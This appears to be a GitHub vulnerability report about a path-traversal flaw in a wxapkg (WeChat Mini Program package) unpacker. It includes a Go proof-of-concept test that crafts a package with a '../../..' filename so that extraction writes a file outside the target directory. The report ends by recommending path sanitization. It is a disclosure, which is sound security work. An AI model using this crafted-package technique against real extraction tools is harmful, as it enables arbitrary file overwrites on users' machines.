Malicious wxapkg File Leading to Arbitrary File Write and Command Execution #85
Description
Vulnerability Report: Malicious wxapkg File Leading to Arbitrary File Write and Command Execution
Summary:
A vulnerability was discovered in the handling of wxapkg files (WeChat Mini Program package format). By crafting a malicious wxapkg file, an attacker can exploit improper validation during package parsing and extraction. This leads to arbitrary file write on the host file system and can be further escalated to remote command execution under certain conditions.
Vulnerability Details:
- Affected Component:
wxapkgfile parsing and extraction logic - Type of Vulnerability: Arbitrary File Write, Command Execution
- Attack Vector: Malicious
wxapkgfile
Proof of Concept (PoC):
A proof-of-concept wxapkg file was crafted containing:
package unpack
import (
"bytes"
"encoding/binary"
"testing"
)
func createTestWxapkg() []byte {
var buf bytes.Buffer
// header
buf.WriteByte(0xBE)
binary.Write(&buf, binary.BigEndian, uint32(0))
indexLenPos := buf.Len()
binary.Write(&buf, binary.BigEndian, uint32(0)) // indexInfoLength
binary.Write(&buf, binary.BigEndian, uint32(0)) // bodyInfoLength
buf.WriteByte(0xED)
// files
// files number
binary.Write(&buf, binary.BigEndian, uint32(1))
indexStart := buf.Len()
filename := "../../../../../../../../Users/whoami/Desktop/zznq.txt"
fileContent := []byte("zznq todo")
binary.Write(&buf, binary.BigEndian, uint32(len(filename)))
buf.WriteString(filename)
dataOffsetPos := buf.Len()
binary.Write(&buf, binary.BigEndian, uint32(0))
binary.Write(&buf, binary.BigEndian, uint32(len(fileContent)))
b := buf.Bytes()
binary.BigEndian.PutUint32(b[indexLenPos:], uint32(buf.Len()-indexStart))
binary.BigEndian.PutUint32(b[indexLenPos+4:], uint32(len(fileContent)))
// data body
fileDataPos := buf.Len()
buf.Write(fileContent)
b = buf.Bytes()
binary.BigEndian.PutUint32(b[dataOffsetPos:], uint32(fileDataPos))
return buf.Bytes()
}
func TestUnPack(t *testing.T) {
data := createTestWxapkg()
t.Log(UnpackWxapkg(data, "./"))
}Recommendations:
- Implement strict path sanitization when extracting
wxapkgfiles：unpack.go#L179
Severity: Critical